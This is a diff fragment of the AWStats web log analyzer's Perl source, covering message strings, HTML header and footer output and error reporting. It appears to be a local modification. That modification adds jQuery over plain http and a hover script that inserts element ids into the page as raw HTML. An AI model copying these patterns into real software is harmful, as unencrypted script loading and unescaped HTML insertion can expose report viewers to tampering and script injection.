600, '15mn-30mn', 1350, '30mn-1h', 2700, + '1h+', 3600 +); + +# HTTP-Accept or Lang parameter => AWStats code to use for lang +# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1 +%LangBrowserToLangAwstats = ( + 'sq' => 'al', + 'ar' => 'ar', + 'ba' => 'ba', + 'bg' => 'bg', + 'zh-tw' => 'tw', + 'zh' => 'cn', + 'cs' => 'cz', + 'de' => 'de', + 'da' => 'dk', + 'en' => 'en', + 'et' => 'et', + 'fi' => 'fi', + 'fr' => 'fr', + 'gl' => 'gl', + 'es' => 'es', + 'eu' => 'eu', + 'ca' => 'ca', + 'el' => 'gr', + 'hu' => 'hu', + 'is' => 'is', + 'in' => 'id', + 'it' => 'it', + 'ja' => 'jp', + 'kr' => 'ko', + 'lv' => 'lv', + 'nl' => 'nl', + 'no' => 'nb', + 'nb' => 'nb', + 'nn' => 'nn', + 'pl' => 'pl', + 'pt' => 'pt', + 'pt-br' => 'br', + 'ro' => 'ro', + 'ru' => 'ru', + 'sr' => 'sr', + 'sk' => 'sk', + 'sv' => 'se', + 'th' => 'th', + 'tr' => 'tr', + 'uk' => 'ua', + 'cy' => 'cy', + 'wlk' => 'cy' +); +%LangAWStatsToFlagAwstats = + ( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code + 'ca' => 'es_cat', + 'et' => 'ee', + 'eu' => 'es_eu', + 'cy' => 'wlk', + 'gl' => 'glg', + 'he' => 'il', + 'ko' => 'kr', + 'ar' => 'sa', + 'sr' => 'cs' + ); + +@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = (); +@DefaultFile = @SkipDNSLookupFor = (); +@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = (); +@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = (); +@URLWithQueryWithOnly = @URLWithQueryWithout = (); +@ExtraName = @ExtraCondition = @ExtraStatTypes = @ExtraTest = (); +@MaxNbOfExtra = @MinHitExtra = (); +@ExtraColumnTitle = @ExtraColumnValues = (); +@ExtraColumnFunction = @ExtraColumnFormat = (); +@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = (); +@ExtraColumnValuesType = @ExtraColumnValuesTypeVal = (); +@ExtraAddAverageRow = @ExtraAddSumRow = (); +@PluginsToLoad = (); + +# ---------- Init hash arrays -------- +use vars qw/ + %BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers + %DomainsHashIDLib + %MimeHashLib %MimeHashFamily + %OSHashID %OSHashLib + %RobotsHashIDLib %RobotsAffiliateLib + %SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys + %WormsHashID %WormsHashLib %WormsHashTarget + /; +use vars qw/ + %HTMLOutput %NoLoadPlugin %FilterIn %FilterEx + %BadFormatWarning + %MonthNumLib + %ValidHTTPCodes %ValidSMTPCodes + %TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits + %MaxNbOf %MinHit + %ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile + %val %nextval %egal + %TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable + /; +%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = (); +%BadFormatWarning = (); +%MonthNumLib = (); +%ValidHTTPCodes = %ValidSMTPCodes = (); +%TrapInfosForHTTPErrorCodes = (); +$TrapInfosForHTTPErrorCodes{404} = 1; # TODO Add this in config file +%NotPageList = (); +%DayBytes = %DayHits = %DayPages = %DayVisits = (); +%MaxNbOf = %MinHit = (); +%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = (); +%val = %nextval = %egal = (); +%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = (); +%MyDNSTable = (); +use vars qw/ + %FirstTime %LastTime + %MonthHostsKnown %MonthHostsUnknown + %MonthUnique %MonthVisits + %MonthPages %MonthHits %MonthBytes + %MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes + %_session %_browser_h %_browser_p + %_domener_p %_domener_h %_domener_k %_errors_h %_errors_k + %_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out + %_host_p %_host_h %_host_k %_host_l %_host_s %_host_u + %_waithost_e %_waithost_l %_waithost_s %_waithost_u + %_keyphrases %_keywords %_os_h %_os_p %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r + %_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h + %_misc_p %_misc_h %_misc_k + %_cluster_p %_cluster_h %_cluster_k + %_se_referrals_p %_se_referrals_h %_sider404_h %_referer404_h %_url_p %_url_k %_url_e %_url_x + %_downloads + %_unknownreferer_l %_unknownrefererbrowser_l + %_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l + /; +&Init_HashArray(); + +# ---------- Init Regex -------- +use vars qw/ $regclean1 $regclean2 $regdate /; +$regclean1 = qr/<(recnb|\/td)>/i; +$regclean2 = qr/<\/?[^<>]+>/i; +$regdate = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/; + +# ---------- Init Tie::hash arrays -------- +# Didn't find a tie that increase speed +#use Tie::StdHash; +#use Tie::Cache::LRU; +#tie %_host_p, 'Tie::StdHash'; +#tie %TmpOS, 'Tie::Cache::LRU'; + +# PROTOCOL CODES +use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /; + +# DEFAULT MESSAGE +use vars qw/ @Message /; +@Message = ( + 'Unknown', + 'Unknown (unresolved ip)', + 'Others', + 'View details', + 'Day', + 'Month', + 'Year', + 'Statistics for', + 'First visit', + 'Last visit', + 'Number of visits', + 'Unique visitors', + 'Visit', + 'different keywords', + 'Search', + 'Percent', + 'Traffic', + 'Domains/Countries', + 'Visitors', + 'Pages-URL', + 'Hours', + 'Browsers', + '', + 'Referers', + 'Never updated (See \'Build/Update\' on awstats_setup.html page)', + 'Visitors domains/countries', + 'hosts', + 'pages', + 'different pages-url', + 'Viewed', + 'Other words', + 'Pages not found', + 'HTTP Error codes', + 'Netscape versions', + 'IE versions', + 'Last Update', + 'Connect to site from', + 'Origin', + 'Direct address / Bookmarks', + 'Origin unknown', + 'Links from an Internet Search Engine', + 'Links from an external page (other web sites except search engines)', + 'Links from an internal page (other page on same site)', + 'Keyphrases used on search engines', + 'Keywords used on search engines', + 'Unresolved IP Address', + 'Unknown OS (Referer field)', + 'Required but not found URLs (HTTP code 404)', + 'IP Address', + 'Error Hits', + 'Unknown browsers (Referer field)', + 'different robots', + 'visits/visitor', + 'Robots/Spiders visitors', + 'Free realtime logfile analyzer for advanced web statistics', + 'of', + 'Pages', + 'Hits', + 'Versions', + 'Operating Systems', + 'Jan', + 'Feb', + 'Mar', + 'Apr', + 'May', + 'Jun', + 'Jul', + 'Aug', + 'Sep', + 'Oct', + 'Nov', + 'Dec', + 'Navigation', + 'File type', + 'Update now', + 'Bandwidth', + 'Back to main page', + 'Top', + 'dd mmm yyyy - HH:MM', + 'Filter', + 'Full list', + 'Hosts', + 'Known', + 'Robots', + 'Sun', + 'Mon', + 'Tue', + 'Wed', + 'Thu', + 'Fri', + 'Sat', + 'Days of week', + 'Who', + 'When', + 'Authenticated users', + 'Min', + 'Average', + 'Max', + 'Web compression', + 'Bandwidth saved', + 'Compression on', + 'Compression result', + 'Total', + 'different keyphrases', + 'Entry', + 'Code', + 'Average size', + 'Links from a NewsGroup', + 'KB', + 'MB', + 'GB', + 'Grabber', + 'Yes', + 'No', + 'Info.', + 'OK', + 'Exit', + 'Visits duration', + 'Close window', + 'Bytes', + 'Search Keyphrases', + 'Search Keywords', + 'different refering search engines', + 'different refering sites', + 'Other phrases', + 'Other logins (and/or anonymous users)', + 'Refering search engines', + 'Refering sites', + 'Summary', + 'Exact value not available in "Year" view', + 'Data value arrays', + 'Sender EMail', + 'Receiver EMail', + 'Reported period', + 'Extra/Marketing', + 'Screen sizes', + 'Worm/Virus attacks', + 'Hit on favorite icon', + 'Days of month', + 'Miscellaneous', + 'Browsers with Java support', + 'Browsers with Macromedia Director Support', + 'Browsers with Flash Support', + 'Browsers with Real audio playing support', + 'Browsers with Quictime audio playing support', + 'Browsers with Windows Media audio playing support', + 'Browsers with PDF support', + 'SMTP Error codes', + 'Countries', + 'Mails', + 'Size', + 'First', + 'Last', + 'Exclude filter', +'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.', + 'Cluster', +'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.', + 'Numbers after + are successful hits on "robots.txt" files', +'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.', +'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.', + 'Traffic viewed', + 'Traffic not viewed', + 'Monthly history', + 'Worms', + 'different worms', + 'Mails successfully sent', + 'Mails failed/refused', + 'Sensitive targets', + 'Javascript disabled', + 'Created by', + 'plugins', + 'Regions', + 'Cities', + 'Opera versions', + 'Safari versions', + 'Chrome versions', + 'Konqueror versions', + ',', + 'Downloads', + 'Export CSV' +); + +#------------------------------------------------------------------------------ +# Functions +#------------------------------------------------------------------------------ + +# Function to solve pb with openvms +sub file_filt (@) { + my @retval; + foreach my $fl (@_) { + $fl =~ tr/^//d; + push @retval, $fl; + } + return sort @retval; +} + +#------------------------------------------------------------------------------ +# Function: Write on output header of HTTP answer +# Parameters: None +# Input: $HeaderHTTPSent $BuildReportFormat $PageCode $Expires +# Output: $HeaderHTTPSent=1 +# Return: None +#------------------------------------------------------------------------------ +sub http_head { + if ( !$HeaderHTTPSent ) { + my $newpagecode = $PageCode ? $PageCode : "utf-8"; + if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { + print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i + ? "Content-type: text/html; charset=$newpagecode\n" + : "Content-type: text/xml; charset=$newpagecode\n" + ); + } + else { print "Content-type: text/html; charset=$newpagecode\n"; } + +# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR) + if ( $Expires =~ /^\d+$/ ) { + print "Cache-Control: public\n"; + print "Last-Modified: " . gmtime($starttime) . "\n"; + print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n"; + } + print "\n"; + } + $HeaderHTTPSent++; +} + +#------------------------------------------------------------------------------ +# Function: Write on output header of HTML page +# Parameters: None +# Input: %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir +# Output: $HeaderHTMLSent=1 +# Return: None +#------------------------------------------------------------------------------ +sub html_head { + my $dir = $PageDir ? 'right' : 'left'; + if ($NOHTML) { return; } + if ( scalar keys %HTMLOutput || $PluginMode ) { + my $periodtitle = " ($YearRequired"; + $periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" ); + $periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" ); + $periodtitle .= ( $HourRequired ne '' ? "-$HourRequired" : "" ); + $periodtitle .= ")"; + + # Write head section + if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { + if ($PageCode) { + print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n"; + } + else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; } + if ( $FrameName ne 'index' ) { + print +"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n"; + } + else { + print +"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n"; + } + print +"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n"; + } + else { + if ( $FrameName ne 'index' ) { + print +"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n"; + } + else { + print +"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">\n"; + } + print '<html lang="' . $Lang . '"' + . ( $PageDir ? ' dir="rtl"' : '' ) . ">\n"; + } + print "<head>\n"; + + my $endtag = '>'; + if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { + $endtag = ' />'; + } + + # Affiche tag meta generator + print +"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://www.awstats.org)\"$endtag\n"; + + # Affiche tag meta robots + if ($MetaRobot) { + print "<meta name=\"robots\" content=\"" + . ( $FrameName eq 'mainleft' ? 'no' : '' ) + . "index," + . ( $FrameName eq 'mainleft' + || $FrameName eq 'index' ? '' : 'no' ) + . "follow\"$endtag\n"; + } + else { + print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n"; + } + + # Affiche tag meta content-type + if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { + print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i + ? "<meta http-equiv=\"content-type\" content=\"text/html; charset=" + . ( $PageCode ? $PageCode : "iso-8859-1" ) + . "\" />\n" + : "<meta http-equiv=\"content-type\" content=\"text/xml; charset=" + . ( $PageCode ? $PageCode : "iso-8859-1" ) + . "\"$endtag\n" + ); + } + else { + print + "<meta http-equiv=\"content-type\" content=\"text/html; charset=" + . ( $PageCode ? $PageCode : "iso-8859-1" ) + . "\"$endtag\n"; + } + + if ($Expires) { + print "<meta http-equiv=\"expires\" content=\"" + . ( gmtime( $starttime + $Expires ) ) + . "\"$endtag\n"; + } + my @k = keys + %HTMLOutput; # This is to have a unique title and description page + print "<meta http-equiv=\"description\" content=\"" + . ucfirst($PROG) + . " - Advanced Web Statistics for $SiteDomain$periodtitle" + . ( $k[0] ? " - " . $k[0] : "" ) + . "\"$endtag\n"; + if ( $MetaRobot && $FrameName ne 'mainleft' ) { + print +"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n"; + } + print "<title>$Message[7] $SiteDomain$periodtitle" + . ( $k[0] ? " - " . $k[0] : "" ) + . "</title>\n"; + if ( $FrameName ne 'index' ) { + + if ($StyleSheet) { + print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n"; + } + +# A STYLE section must be in head section. Do not use " for number in a style section + print "<style type=\"text/css\">\n"; + + if ( !$StyleSheet ) { + print +"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n"; + print ".aws_bodyl { }\n"; + print +".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px " + . ( $BuildReportFormat eq 'xhtml' + || $BuildReportFormat eq 'xml' ? "2px" : "1px" ) + . " 1px; margin-top: 0px; margin-bottom: 0px; }\n"; + print +".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n"; + print +".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n"; + print <<EOF; +.aws_data { + background-color: #$color_Background; + border-top-width: 1px; + border-left-width: 0px; + border-right-width: 0px; + border-bottom-width: 0px; +} +.aws_formfield { font: 13px verdana, arial, helvetica; } +.aws_button { + font-family: arial,verdana,helvetica, sans-serif; + font-size: 12px; + border: 1px solid #ccd7e0; + background-image : url($DirIcons/other/button.gif); +} +th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; } +th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; } +td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; } +td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;} +td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; } +b { font-weight: bold; } +a { font: 11px verdana, arial, helvetica, sans-serif; } +a:link { color: #$color_link; text-decoration: none; } +a:visited { color: #$color_link; text-decoration: none; } +a:hover { color: #$color_hover; text-decoration: underline; } +.currentday { font-weight: bold; } +EOF +print "#preview{ position:absolute; border:3px solid #ccc; background:#$color_Background; padding:5px; display:none; color:#$color_text; box-shadow: 4px 4px 3px rgba(103, 115, 130, 1); }\n"; #NOVO PRINT ID PREVIEW +# width: 300px; heigth: 50%; + } + + # Call to plugins' function AddHTMLStyles + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } ) + { + my $function = "AddHTMLStyles_$pluginname"; + &$function(); + } + + print "</style>\n"; + } + +# les scripts necessaires pour trier avec Tablekit +# print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>"; +# print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>"; +# print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>"; + + # Call to plugins' function AddHTMLHeader + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } ) + { + my $function = "AddHTMLHeader_$pluginname"; + &$function(); + } + print "<script src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js\"></script>\n"; # ADICIONA JQUERY + print "</head>\n\n"; + if ( $FrameName ne 'index' ) { + print "<body style=\"margin-top: 0px\""; + if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; } + print ">\n"; + } + } + $HeaderHTMLSent++; +} + +#------------------------------------------------------------------------------ +# Function: Write on output end of HTML page +# Parameters: 0|1 (0=no list plugins,1=list plugins) +# Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub html_end { + my $listplugins = shift || 0; + if ( scalar keys %HTMLOutput ) { + + # Call to plugins' function AddHTMLBodyFooter + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } ) + { + + # my $function="AddHTMLBodyFooter_$pluginname()"; + # eval("$function"); + my $function = "AddHTMLBodyFooter_$pluginname"; + &$function(); + } + + if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) { + print "$Center<br /><br />\n"; + print +"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">"; + print +"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://www.awstats.org\" target=\"awstatshome\">"; + print $Message[169] . " $PROG"; + if ($listplugins) { + my $atleastoneplugin = 0; + foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) { + if ( !$atleastoneplugin ) { + $atleastoneplugin = 1; + print " ($Message[170]: "; + } + else { print ", "; } + print "$pluginname"; + } + if ($atleastoneplugin) { print ")"; } + } + print "</a></span><br />\n"; + if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; } + } + print "\n"; + if ( $FrameName ne 'index' ) { + if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) { + print "<br />\n"; + } + print "<script type=\"text/javascript\" language=\"javascript\"> + \$(document).ready(function(){ + imagePreview(); + }); + this.imagePreview = function(){ + xOffset = -10; + yOffset = 10; + + \$(\"td.prev\").hover(function(e){ + \$(this).append(\"<span id='preview'>\" + this.id + \"</span>\"); + + \$(\"#preview\") + .css(\"top\",(e.pageY - xOffset) + \"px\") + .css(\"left\",(e.pageX + yOffset) + \"px\") + .fadeIn(\"slow\"); + + }, + + function(){ + \$(\"#preview\").remove(); + }); + + \$(\"td.prev\").mousemove(function(e){ + \$(\"#preview\") + .css(\"top\",(e.pageY - xOffset) + \"px\") + .css(\"left\",(e.pageX + yOffset) + \"px\"); + }); + }; + </script> + </body>\n"; + } + print "</html>\n"; + + # print "<!-- NEW PAGE --><!-- NEW SHEET -->\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Print on stdout tab header of a chart +# Parameters: $title $tooltipnb [$width percentage of chart title] +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub tab_head { + my $title = shift; + my $tooltipnb = shift; + my $width = shift || 70; + my $class = shift; + + # Call to plugins' function TabHeadHTML + my $extra_head_html = ''; + foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) { + my $function = "TabHeadHTML_$pluginname"; + $extra_head_html .= &$function($title); + } + + if ( $width == 70 && $QueryString =~ /buildpdf/i ) { + print +"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n"; + } + else { + print +"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; + } + + if ($tooltipnb) { + print "<tr><td class=\"aws_title\" width=\"$width%\"" + . Tooltip( $tooltipnb, $tooltipnb ) + . ">$title " + . $extra_head_html . "</td>"; + } + else { + print "<tr><td class=\"aws_title\" width=\"$width%\">$title " + . $extra_head_html . "</td>"; + } + print "<td class=\"aws_blank\"> </td></tr>\n"; + print "<tr><td colspan=\"2\">\n"; + if ( $width == 70 && $QueryString =~ /buildpdf/i ) { + print +"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n"; + } + else { + print +"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Print on stdout tab ender of a chart +# Parameters: None +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub tab_end { + my $string = shift; + print "</table></td></tr></table>"; + if ($string) { + print +"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n"; + } + print "<br />\n\n"; +} + +#------------------------------------------------------------------------------ +# Function: Write error message and exit +# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo +# Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub error { + my $message = shift || ''; + if ( scalar keys %HTMLOutput ) { + $message =~ s/\</</g; + $message =~ s/\>/>/g; + } + my $secondmessage = shift || ''; + my $thirdmessage = shift || ''; + my $donotshowsetupinfo = shift || 0; + + if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } + if ( !$HeaderHTMLSent && scalar keys %HTMLOutput ) { + print "<html><body>\n"; + $HeaderHTMLSent = 1; + } + if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); } + my $tagbold = ''; + my $tagunbold = ''; + my $tagbr = ''; + my $tagfontred = ''; + my $tagfontgrey = ''; + my $tagunfont = ''; + if ( scalar keys %HTMLOutput ) { + $tagbold = '<b>'; + $tagunbold = '</b>'; + $tagbr = '<br />'; + $tagfontred = '<span style="color: #880000">'; + $tagfontgrey = '<span style="color: #888888">'; + $tagunfont = '</span>'; + } + if ( !$ErrorMessages && $message =~ /^Format error$/i ) { + + # Files seems to have bad format + if ( scalar keys %HTMLOutput ) { print "<br /><br />\n"; } + if ( $message !~ $LogSeparator ) { + + # Bad LogSeparator parameter + print +"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n"; + } + else { + + # Bad LogFormat parameter + print +"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n"; + print +"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n"; + print + "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n"; + print "${tagbold}$LogFormat${tagunbold}${tagbr}\n"; + print + "This means each line in your web server log file need to have "; + if ( $LogFormat == 1 ) { + print +"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n"; + print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); + print +"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n"; + print( + scalar keys %HTMLOutput + ? "</i>$tagunfont${tagbr}${tagbr}\n" + : "" + ); + } + if ( $LogFormat == 2 ) { + print +"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n"; + print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); + print +"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n"; + print( + scalar keys %HTMLOutput + ? "</i>$tagunfont${tagbr}${tagbr}\n" + : "" + ); + } + if ( $LogFormat == 3 ) { + print +"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n"; + } + if ( $LogFormat == 4 ) { + print +"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n"; + print( scalar keys %HTMLOutput ? "$tagfontgrey<i><pre>" : "" ); + print +"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n"; + print( + scalar keys %HTMLOutput + ? "</pre></i>$tagunfont${tagbr}${tagbr}\n" + : "" + ); + } + if ( $LogFormat == 6 ) { + print +"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n"; + print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); + print +"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n"; + print( + scalar keys %HTMLOutput + ? "</i></span>${tagbr}${tagbr}\n" + : "" + ); + } + if ( $LogFormat !~ /^[1-6]$/ ) { + print "the following personalized log format:${tagbr}\n"; + print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); + print "$LogFormat\n"; + print( + scalar keys %HTMLOutput + ? "</i>$tagunfont${tagbr}${tagbr}\n" + : "" + ); + } + print +"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n"; + print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" ); + print "$secondmessage"; + print( + scalar keys %HTMLOutput + ? "</i>$tagunfont${tagbr}${tagbr}" + : "" + ); + print "\n"; + } + +#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of "; +#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n"; +#print "\n"; + } + else { + print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" ); + print( $ErrorMessages? "$ErrorMessages" : "Error: $message" ); + print( scalar keys %HTMLOutput ? "\n</span><br />" : "" ); + print "\n"; + } + if ( !$ErrorMessages && !$donotshowsetupinfo ) { + if ( $message =~ /Couldn.t open config file/i ) { + my $dir = $DIR; + if ( $dir =~ /^\./ ) { $dir .= '/../..'; } + else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; } + print "${tagbr}\n"; + if ( $ENV{'GATEWAY_INTERFACE'} ) { + print +"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n"; + print +"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n"; + print +"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n"; + } + else { + print +"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n"; + print +"Example: If your config file is awstats.mysite.conf, use -config=mysite\n"; + } + print +"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n"; + print +"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n"; + print "${tagbr}\n"; + } + else { + print "${tagbr}${tagbold}Setup (" + . ( $FileConfig ? "'" . $FileConfig . "'" : "Config" ) + . " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n"; + } + print +"Check config file, permissions and AWStats documentation (in 'docs' directory).\n"; + } + + # Remove lock if not a lock message + if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); } + if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; } + exit 1; +} + +#------------------------------------------------------------------------------ +# Function: Write a warning message +# Parameters: $message +# Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub warning { + my $messagestring = shift; + + if ($Debug) { debug( "$messagestring", 1 ); } + if ($WarningMessages) { + if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } + if ( !$HeaderHTMLSent ) { html_head(); } + if ( scalar keys %HTMLOutput ) { + $messagestring =~ s/\n/\<br\>/g; + print "$messagestring<br />\n"; + } + else { + print 